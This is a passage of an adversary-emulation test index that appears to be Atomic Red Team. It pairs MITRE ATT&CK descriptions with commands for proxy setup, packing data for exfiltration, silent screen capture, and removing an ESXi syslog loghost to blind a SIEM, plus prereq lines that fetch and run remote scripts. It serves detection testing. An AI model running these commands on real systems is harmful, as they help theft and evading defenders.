Note that this test may conflict with pre-existing system configuration. supported_platforms: - macos input_arguments: proxy_server: description: Proxy server URL (host) type: url default: 127.0.0.1 proxy_port: description: Proxy server port type: integer default: 8080 interface: description: Protocol to proxy (http or https) type: string default: Wi-Fi executor: name: sh command: | networksetup -setwebproxy #{interface} #{proxy_server} #{proxy_port} networksetup -setsecurewebproxy #{interface} #{proxy_server} #{proxy_port} cleanup_command: | networksetup -setwebproxystate #{interface} off networksetup -setsecurewebproxystate #{interface} off - name: portproxy reg key auto_generated_guid: b8223ea9-4be2-44a6-b50a-9657a3d4e72a description: | Adds a registry key to set up a proxy on the endpoint at HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4 Upon execution there will be a new proxy entry in netsh netsh interface portproxy show all supported_platforms: - windows input_arguments: connectaddress: description: Specifies the IPv4 address to which to connect. Acceptable values are IP address, computer NetBIOS name, or computer DNS name. If an address is not specified, the default is the local computer. type: string default: 127.0.0.1 connectport: description: Specifies the IPv4 port, by port number or service name, to which to connect. If connectport is not specified, the default is the value of listenport on the local computer. type: string default: '1337' listenport: description: Specifies the IPv4 port, by port number or service name, on which to listen. type: string default: '1337' executor: command: netsh interface portproxy add v4tov4 listenport=#{listenport} connectport=#{connectport} connectaddress=#{connectaddress} cleanup_command: netsh interface portproxy delete v4tov4 listenport=#{listenport} -ErrorAction Ignore | Out-Null name: powershell elevation_required: true T1102.001: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7 type: attack-pattern created: '2020-03-14T22:24:21.841Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1102.001 url: https://attack.mitre.org/techniques/T1102/001 - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. source_name: University of Birmingham C2 modified: '2021-04-29T14:49:39.188Z' name: Dead Drop Resolver description: |- Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. Use of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_detection: 'Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)' x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Traffic Flow' x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1001.001: technique: modified: '2024-02-02T20:10:01.862Z' name: Junk Data description: 'Adversaries may add junk data to protocols used for command and control to make detection more difficult.(Citation: FireEye SUNBURST Backdoor December 2020) By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending data with junk characters or writing junk characters between significant characters. ' kill_chain_phases: - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_deprecated: false x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.0' x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' type: attack-pattern id: attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade created: '2020-03-15T00:30:25.444Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1001/001 external_id: T1001.001 - source_name: FireEye SUNBURST Backdoor December 2020 description: FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021. url: https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html - source_name: University of Birmingham C2 description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] collection: T1560.001: technique: modified: '2023-09-15T19:02:53.995Z' name: 'Archive Collected Data: Archive via Utility' description: "Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.\n\nAdversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as tar on Linux and macOS or zip on Windows systems. \n\nOn Windows, diantz or makecab may be used to package collected files into a cabinet (.cab) file. diantz may also be used to download and compress files from remote locations (i.e. [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002)).(Citation: diantz.exe_lolbas) xcopy on Windows can copy files and directories with a variety of options. Additionally, adversaries may use [certutil](https://attack.mitre.org/software/S0160) to Base64 encode collected data before exfiltration. \n\nAdversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection x_mitre_contributors: - Mayan Arora aka Mayan Mohan - Mark Wee x_mitre_deprecated: false x_mitre_detection: |- Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used. Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.3' x_mitre_data_sources: - 'Process: Process Creation' - 'Command: Command Execution' - 'File: File Creation' type: attack-pattern id: attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662 created: '2020-02-20T21:01:25.428Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1560/001 external_id: T1560.001 - source_name: WinRAR Homepage description: A. Roshal. (2020). RARLAB. Retrieved February 20, 2020. url: https://www.rarlab.com/ - source_name: WinZip Homepage description: Corel Corporation. (2020). WinZip. Retrieved February 20, 2020. url: https://www.winzip.com/win/en/ - source_name: 7zip Homepage description: I. Pavlov. (2019). 7-Zip. Retrieved February 20, 2020. url: https://www.7-zip.org/ - source_name: diantz.exe_lolbas description: Living Off The Land Binaries, Scripts and Libraries (LOLBAS). (n.d.). Diantz.exe. Retrieved October 25, 2021. url: https://lolbas-project.github.io/lolbas/Binaries/Diantz/ - source_name: Wikipedia File Header Signatures description: Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016. url: https://en.wikipedia.org/wiki/List_of_file_signatures object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1560.001 atomic_tests: - name: Compress Data for Exfiltration With Rar auto_generated_guid: 02ea31cb-3b4c-4a2d-9bf1-e4e70ebcf5d0 description: "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration.\nWhen the test completes you should find the txt files from the %USERPROFILE% directory compressed in a file called T1560.001-data.rar in the %USERPROFILE% directory \n" supported_platforms: - windows input_arguments: input_path: description: Path that should be compressed into our output file type: path default: "%USERPROFILE%" file_extension: description: Extension of files to compress type: string default: ".txt" output_file: description: Path where resulting compressed data should be placed type: path default: "%USERPROFILE%\\T1560.001-data.rar" rar_installer: description: Winrar installer type: path default: "%TEMP%\\winrar.exe" rar_exe: description: The RAR executable from Winrar type: path default: "%programfiles%/WinRAR/Rar.exe" dependencies: - description: 'Rar tool must be installed at specified location (#{rar_exe}) ' prereq_command: 'if not exist "#{rar_exe}" (exit /b 1) ' get_prereq_command: | echo Downloading Winrar installer bitsadmin /transfer myDownloadJob /download /priority normal "https://www.win-rar.com/fileadmin/winrar-versions/winrar/th/winrar-x64-580.exe" #{rar_installer} #{rar_installer} /S executor: name: command_prompt elevation_required: false command: '"#{rar_exe}" a -r #{output_file} #{input_path}\*#{file_extension} ' cleanup_command: 'del /f /q /s #{output_file} >nul 2>&1 ' - name: Compress Data and lock with password for Exfiltration with winrar auto_generated_guid: 8dd61a55-44c6-43cc-af0c-8bdda276860c description: | Note: Requires winrar installation rar a -p"blue" hello.rar (VARIANT) supported_platforms: - windows input_arguments: rar_installer: description: Winrar installer type: path default: "%TEMP%\\winrar.exe" rar_exe: description: The RAR executable from Winrar type: path default: "%programfiles%/WinRAR/Rar.exe" dependencies: - description: 'Rar tool must be installed at specified location (#{rar_exe}) ' prereq_command: 'if not exist "#{rar_exe}" (exit /b 1) ' get_prereq_command: | echo Downloading Winrar installer bitsadmin /transfer myDownloadJob /download /priority normal "https://www.win-rar.com/fileadmin/winrar-versions/winrar/th/winrar-x64-580.exe" #{rar_installer} #{rar_installer} /S executor: name: command_prompt elevation_required: false command: | mkdir .\tmp\victim-files cd .\tmp\victim-files echo "This file will be encrypted" > .\encrypted_file.txt "#{rar_exe}" a -hp"blue" hello.rar dir - name: Compress Data and lock with password for Exfiltration with winzip auto_generated_guid: 01df0353-d531-408d-a0c5-3161bf822134 description: | Note: Requires winzip installation wzzip sample.zip -s"blueblue" *.txt (VARIANT) supported_platforms: - windows input_arguments: winzip_exe: description: Path to installed Winzip executable type: path default: "%ProgramFiles%\\WinZip\\winzip64.exe" winzip_url: description: Path to download Windows Credential Editor zip file type: url default: https://download.winzip.com/gl/nkln/winzip24-home.exe winzip_hash: description: File hash of the Windows Credential Editor zip file type: string default: B59DB592B924E963C21DA8709417AC0504F6158CFCB12FE5536F4A0E0D57D7FB dependency_executor_name: powershell dependencies: - description: 'Winzip must be installed ' prereq_command: 'cmd /c ''if not exist "#{winzip_exe}" (echo 1) else (echo 0)'' ' get_prereq_command: | IEX(IWR "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-WebRequestVerifyHash.ps1" -UseBasicParsing) New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null if(Invoke-WebRequestVerifyHash "#{winzip_url}" "PathToAtomicsFolder\..\ExternalPayloads\winzip.exe" #{winzip_hash}){ Write-Host Follow the installation prompts to continue cmd /c "PathToAtomicsFolder\..\ExternalPayloads\winzip.exe" } executor: name: command_prompt elevation_required: false command: | path=%path%;"C:\Program Files (x86)\winzip" mkdir .\tmp\victim-files cd .\tmp\victim-files echo "This file will be encrypted" > .\encrypted_file.txt "#{winzip_exe}" -min -a -s"hello" archive.zip * dir - name: Compress Data and lock with password for Exfiltration with 7zip auto_generated_guid: d1334303-59cb-4a03-8313-b3e24d02c198 description: 'Note: This test requires 7zip installation ' supported_platforms: - windows input_arguments: 7zip_installer: description: 7zip installer type: path default: "%TEMP%\\7zip.exe" 7zip_exe: description: Path to installed 7zip executable type: path default: "%ProgramFiles%\\7-zip\\7z.exe" dependencies: - description: '7zip tool must be installed at specified location (#{7zip_exe}) ' prereq_command: 'if not exist "#{7zip_exe}" (exit /b 1) ' get_prereq_command: | echo Downloading 7-zip installer bitsadmin /transfer myDownloadJob /download /priority normal "https://www.7-zip.org/a/7z2301-x64.exe" #{7zip_installer} #{7zip_installer} /S executor: name: command_prompt elevation_required: false command: | mkdir $PathToAtomicsFolder\T1560.001\victim-files cd $PathToAtomicsFolder\T1560.001\victim-files echo "This file will be encrypted" > .\encrypted_file.txt "#{7zip_exe}" u archive.7z *txt -pblue dir cleanup_command: 'rmdir /s /Q $PathToAtomicsFolder\T1560.001\victim-files >nul 2>&1 ' - name: Data Compressed - nix - zip auto_generated_guid: c51cec55-28dd-4ad2-9461-1eacbc82c3a0 description: 'An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration. This test uses standard zip compression. ' supported_platforms: - linux - macos input_arguments: input_files: description: Path that should be compressed into our output file, may include wildcards type: path default: "/var/log/{w,b}tmp" output_file: description: Path that should be output as a zip archive type: path default: "$HOME/data.zip" dependencies: - description: 'Files to zip must exist (#{input_files}) ' prereq_command: 'if [ $(ls #{input_files} | wc -l) > 0 ] && [ -x $(which zip) ] ; then exit 0; else exit 1; fi; ' get_prereq_command: | (which yum && yum -y install epel-release zip)||(which apt-get && apt-get install -y zip) echo Please set input_files argument to include files that exist executor: name: sh elevation_required: false command: 'zip #{output_file} #{input_files} ' cleanup_command: 'rm -f #{output_file} ' - name: Data Compressed - nix - gzip Single File auto_generated_guid: cde3c2af-3485-49eb-9c1f-0ed60e9cc0af description: 'An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration. This test uses standard gzip compression. ' supported_platforms: - linux - macos input_arguments: input_file: description: Path that should be compressed type: path default: "$HOME/victim-gzip.txt" input_content: description: contents of compressed files if file does not already exist. default contains test credit card and social security number type: string default: 'confidential! SSN: 078-05-1120 - CCN: 4000 1234 5678 9101' executor: name: sh elevation_required: false command: 'test -e #{input_file} && gzip -k #{input_file} || (echo ''#{input_content}'' >> #{input_file}; gzip -k #{input_file}) ' cleanup_command: 'rm -f #{input_file}.gz ' - name: Data Compressed - nix - tar Folder or File auto_generated_guid: 7af2b51e-ad1c-498c-aca8-d3290c19535a description: 'An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration. This test uses standard gzip compression. ' supported_platforms: - linux - macos input_arguments: input_file_folder: description: Path that should be compressed type: path default: "$HOME/$USERNAME" output_file: description: File that should be output type: path default: "$HOME/data.tar.gz" dependencies: - description: 'Folder to zip must exist (#{input_file_folder}) ' prereq_command: 'test -e #{input_file_folder} ' get_prereq_command: 'mkdir -p #{input_file_folder} && touch #{input_file_folder}/file1 ' executor: name: sh elevation_required: false command: 'tar -cvzf #{output_file} #{input_file_folder} ' cleanup_command: 'rm -f #{output_file} ' - name: Data Encrypted with zip and gpg symmetric auto_generated_guid: '0286eb44-e7ce-41a0-b109-3da516e05a5f' description: 'Encrypt data for exiltration ' supported_platforms: - linux - macos input_arguments: test_folder: description: Path used to store files. type: path default: "/tmp/T1560" test_file: description: Temp file used to store encrypted data. type: path default: T1560 encryption_password: description: Password used to encrypt data. type: string default: InsertPasswordHere dependency_executor_name: sh dependencies: - description: gpg and zip are required to run the test. prereq_command: 'if [ ! -x "$(command -v gpg)" ] || [ ! -x "$(command -v zip)" ]; then exit 1; fi; ' get_prereq_command: "(which pkg && pkg install -y gnupg zip)||(which yum && yum -y install epel-release zip gpg)||(which apt-get && apt-get install -y zip gpg)\n" executor: name: sh elevation_required: false command: | mkdir -p #{test_folder} cd #{test_folder}; touch a b c d e f g zip --password "#{encryption_password}" #{test_folder}/#{test_file} ./* echo "#{encryption_password}" | gpg --batch --yes --passphrase-fd 0 --output #{test_folder}/#{test_file}.zip.gpg -c #{test_folder}/#{test_file}.zip ls -l #{test_folder} cleanup_command: 'rm -Rf #{test_folder} ' - name: Encrypts collected data with AES-256 and Base64 auto_generated_guid: a743e3a6-e8b2-4a30-abe7-ca85d201b5d3 description: "An adversary may compress all the collected data, encrypt and send them to a C2 server using base64 encoding. \nThis atomic test tries to emulate the behaviour of the FLEXIROOT backdoor to archive the collected data. FLEXIROOT typically utilizes AES encryption and base64 encoding to transfer the encrypted data to the C2 server. \nIn this test, standard zip compression and the OpenSSL library are used to encrypt the compressed data.\nhttps://attack.mitre.org/versions/v7/software/S0267/" supported_platforms: - linux - macos input_arguments: input_folder: description: Path to the folder used to store the test files type: path default: "/tmp/t1560" input_file: description: Name of the compressed and encrypted files type: string default: t1560_data enc_pass: description: Password used to encrypt the data type: string default: atomic_enc_pass dependency_executor_name: bash dependencies: - description: The folder and test files must exist prereq_command: 'if [ ! -d #{input_folder} ]; then exit 1; else exit 0; fi;' get_prereq_command: 'if [ ! -d #{input_folder} ]; then mkdir -p #{input_folder}; cd #{input_folder}; touch {a..z}.data; fi;' executor: command: "zip -r #{input_folder}/#{input_file}.zip #{input_folder}\nopenssl enc -aes-256-cbc -pass pass:#{enc_pass} -p -in #{input_folder}/#{input_file}.zip -out #{input_folder}/#{input_file}.enc \ncat #{input_folder}/#{input_file}.enc | base64" cleanup_command: 'rm -rf #{input_folder}' name: bash elevation_required: false - name: ESXi - Remove Syslog remote IP auto_generated_guid: 36c62584-d360-41d6-886f-d194654be7c2 description: 'An adversary may edit the syslog config to remove the loghost in order to prevent or redirect logs being received by SIEM. ' supported_platforms: - windows input_arguments: vm_host: description: Specify the host name of the ESXi Server type: string default: atomic.local plink_file: description: Path to Putty type: path default: PathToAtomicsFolder\..\ExternalPayloads\plink.exe username: description: Username used to log into ESXi type: string default: root password: description: password used to log into ESXI type: string default: n/a dependency_executor_name: powershell dependencies: - description: 'The plink executable must be found in the ExternalPayloads folder. ' prereq_command: 'if (Test-Path "#{plink_file}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "#{plink_file}" executor: command: "# Extract line with IP address from the syslog configuration output\n#{plink_file} -ssh #{vm_host} -l #{username} -pw #{password} -m PathToAtomicsFolder\\..\\atomics\\T1560.001\\src\\esxi_get_loghost.txt | findstr /r \"[0-9]*\\.[0-9]*\\.[0-9]*\\.\" > c:\\temp\\loghost.txt\n\n# Replace the IP with \"0\"\n#{plink_file} -ssh #{vm_host} -l #{username} -pw #{password} -m PathToAtomicsFolder\\..\\atomics\\T1560.001\\src\\esxi_remove_loghost.txt\n\n# Extract the IP from the line extracted from findstr\n$inputFilePath = \"c:\\temp\\loghost.txt\"\n$outputFilePath = \"c:\\temp\\loghost_ip.txt\"\n\n$fileContent = Get-Content -Path $inputFilePath -Raw\n\nif ([string]::IsNullOrWhiteSpace($fileContent)) {\n Write-Host \"The content is $fileContent\"\n Write-Host \"The file is empty\"\n} else {\n # Use a regular expression to extract IP addresses\n $ipAddresses = [regex]::Matches($fileContent, '(udp|tcp):\\/\\/[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.*').Value\n \ \n $output = \"esxcli system syslog config set --loghost=\" + $ipAddresses\n\n \ $output | Out-File -FilePath $outputFilePath -Encoding ascii\n \n \ Write-Host \"IP addresses extracted and saved to $outputFilePath\"\n}\n" cleanup_command: | # Re-add the initially extracted IP #{plink_file} -ssh #{vm_host} -l #{username} -pw #{password} -m c:\temp\loghost_ip.txt rm c:\temp\loghost_ip.txt rm c:\temp\loghost.txt name: powershell elevation_required: true T1113: technique: modified: '2023-03-30T21:01:39.967Z' name: Screen Capture description: 'Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as CopyFromScreen, xwd, or screencapture.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware) ' kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection x_mitre_detection: Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment. x_mitre_domains: - enterprise-attack x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'Command: Command Execution' - 'Process: OS API Execution' type: attack-pattern id: attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688 created: '2017-05-31T21:31:25.060Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1113 external_id: T1113 - source_name: CopyFromScreen .NET description: Microsoft. (n.d.). Graphics.CopyFromScreen Method. Retrieved March 24, 2020. url: https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen?view=netframework-4.8 - source_name: Antiquated Mac Malware description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017. url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_is_subtechnique: false spec_version: '2.1' identifier: T1113 atomic_tests: - name: Screencapture auto_generated_guid: 0f47ceb1-720f-4275-96b8-21f0562217ac description: 'Use screencapture command to collect a full desktop screenshot ' supported_platforms: - macos input_arguments: output_file: description: Output file path type: path default: "/tmp/T1113_desktop.png" executor: command: 'screencapture #{output_file} ' cleanup_command: 'rm #{output_file} ' name: bash - name: Screencapture (silent) auto_generated_guid: deb7d358-5fbd-4dc4-aecc-ee0054d2d9a4 description: 'Use screencapture command to collect a full desktop screenshot ' supported_platforms: - macos input_arguments: output_file: description: Output file path type: path default: "/tmp/T1113_desktop.png" executor: command: 'screencapture -x #{output_file} ' cleanup_command: 'rm #{output_file} ' name: bash - name: X Windows Capture auto_generated_guid: 8206dd0c-faf6-4d74-ba13-7fbe13dce6ac description: 'Use xwd command to collect a full desktop screenshot and review file with xwud ' supported_platforms: - linux input_arguments: output_file: description: Output file path type: path default: "/tmp/T1113_desktop.xwd" package_checker: description: Package checking command for linux. Debian system command- dpkg -s x11-apps type: string default: rpm -q xorg-x11-apps package_installer: description: Package installer command for linux. Debian system command- apt-get install x11-apps type: string default: yum install -y xorg-x11-apps dependency_executor_name: bash dependencies: - description: 'Package with XWD and XWUD must exist on device ' prereq_command: 'if #{package_checker} > /dev/null; then exit 0; else exit 1; fi ' get_prereq_command: "sudo #{package_installer} \n" executor: command: | xwd -root -out #{output_file} xwud -in #{output_file} cleanup_command: 'rm #{output_file} ' name: bash - name: X Windows Capture (freebsd) auto_generated_guid: 562f3bc2-74e8-46c5-95c7-0e01f9ccc65c description: 'Use xwd command to collect a full desktop screenshot and review file with xwud ' supported_platforms: - linux input_arguments: output_file: description: Output file path type: path default: "/tmp/T1113_desktop.xwd" dependency_executor_name: sh dependencies: - description: 'Package with XWD and XWUD must exist on device ' prereq_command: | if [ -x "$(command -v xwd)" ]; then exit 0; else exit 1; fi if [ -x "$(command -v xwud)" ]; then exit 0; else exit 1; fi get_prereq_command: "pkg install -y xwd xwud \n" executor: command: | xwd -root -out #{output_file} xwud -in #{output_file} cleanup_command: 'rm #{output_file} ' name: sh - name: Capture Linux Desktop using Import Tool auto_generated_guid: 9cd1cccb-91e4-4550-9139-e20a586fcea1 description: 'Use import command from ImageMagick to collect a full desktop screenshot ' supported_platforms: - linux input_arguments: output_file: description: Output file path type: path default: "/tmp/T1113_desktop.png" dependencies: - description: 'ImageMagick must be installed ' prereq_command: 'if import -help > /dev/null 2>&1; then exit 0; else exit 1; fi ' get_prereq_command: 'sudo apt install graphicsmagick-imagemagick-compat ' executor: command: 'import -window root #{output_file} ' cleanup_command: 'rm #{output_file} ' name: bash - name: Capture Linux Desktop using Import Tool (freebsd) auto_generated_guid: 18397d87-38aa-4443-a098-8a48a8ca5d8d description: 'Use import command from ImageMagick to collect a full desktop screenshot ' supported_platforms: - linux input_arguments: output_file: description: Output file path type: path default: "/tmp/T1113_desktop.png" dependencies: - description: 'ImageMagick must be installed ' prereq_command: 'if import -help > /dev/null 2>&1; then exit 0; else exit 1; fi ' get_prereq_command: 'pkg install -y ImageMagick7 ' executor: command: 'import -window root #{output_file} ' cleanup_command: 'rm #{output_file} ' name: sh - name: Windows Screencapture auto_generated_guid: 3c898f62-626c-47d5-aad2-6de873d69153 description: 'Use Psr.exe binary to collect screenshots of user display. Test will do left mouse click to simulate user behaviour ' supported_platforms: - windows input_arguments: output_file: description: Output file path type: path default: c:\temp\T1113_desktop.zip recording_time: description: Time to take screenshots type: integer default: 5 executor: name: powershell elevation_required: false command: | cmd /c start /b psr.exe /start /output #{output_file} /sc 1 /gui 0 /stopevent 12 Add-Type -MemberDefinition '[DllImport("user32.dll")] public static extern void mouse_event(int flags, int dx, int dy, int cButtons, int info);' -Name U32 -Namespace W; [W.U32]::mouse_event(0x02 -bor 0x04 -bor 0x01, 0, 0, 0, 0); cmd /c "timeout #{recording_time} > NULL && psr.exe /stop" cleanup_command: 'rm #{output_file} -ErrorAction Ignore ' - name: Windows Screen Capture (CopyFromScreen) auto_generated_guid: e9313014-985a-48ef-80d9-cde604ffc187 description: | Take a screen capture of the desktop through a call to the [Graphics.CopyFromScreen] .NET API. [Graphics.CopyFromScreen]: https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen supported_platforms: - windows input_arguments: output_file: description: Path where captured results will be placed type: path default: "$env:TEMP\\T1113.png" executor: command: | Add-Type -AssemblyName System.Windows.Forms $screen = [Windows.Forms.SystemInformation]::VirtualScreen $bitmap = New-Object Drawing.Bitmap $screen.Width, $screen.Height $graphic = [Drawing.Graphics]::FromImage($bitmap) $graphic.CopyFromScreen($screen.Left, $screen.Top, 0, 0, $bitmap.Size) $bitmap.Save("#{output_file}") cleanup_command: 'Remove-Item #{output_file} -ErrorAction Ignore ' name: powershell - name: Windows Recall Feature Enabled - DisableAIDataAnalysis Value Deleted auto_generated_guid: 5a496325-0115-4274-8eb9-755b649ad0fb description: "Detects the enabling of the Windows Recall feature via registry manipulation. Windows Recall can be enabled by deleting the existing \"DisableAIDataAnalysis\" registry value. Adversaries may enable Windows Recall as part of post-exploitation discovery and collection activities. This rule assumes that Recall is already explicitly disabled on the host, and subsequently enabled by the adversary. \n- https://learn.microsoft.com/en-us/windows/client-management/manage-recall\n- https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-windowsai#disableaidataanalysis" supported_platforms: - windows executor: command: | reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\WindowsAI" /v DisableAIDataAnalysis /t REG_DWORD /d 1 /f reg delete "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\WindowsAI" /v DisableAIDataAnalysis /f cleanup_command: 'reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\WindowsAI" /v DisableAIDataAnalysis /t REG_DWORD /d 1 /f ' name: powershell elevation_required: true T1557: technique: modified: '2024-04-18T14:26:21.852Z' name: Adversary-in-the-Middle description: |- Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or replay attacks ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics) For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens ([Steal Application Access Token](https://attack.mitre.org/techniques/T1528)) and session cookies ([Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)).(Citation: volexity_0day_sophos_FW)(Citation: Token tactics) [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att) Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: collection x_mitre_contributors: - Mayuresh Dani, Qualys - 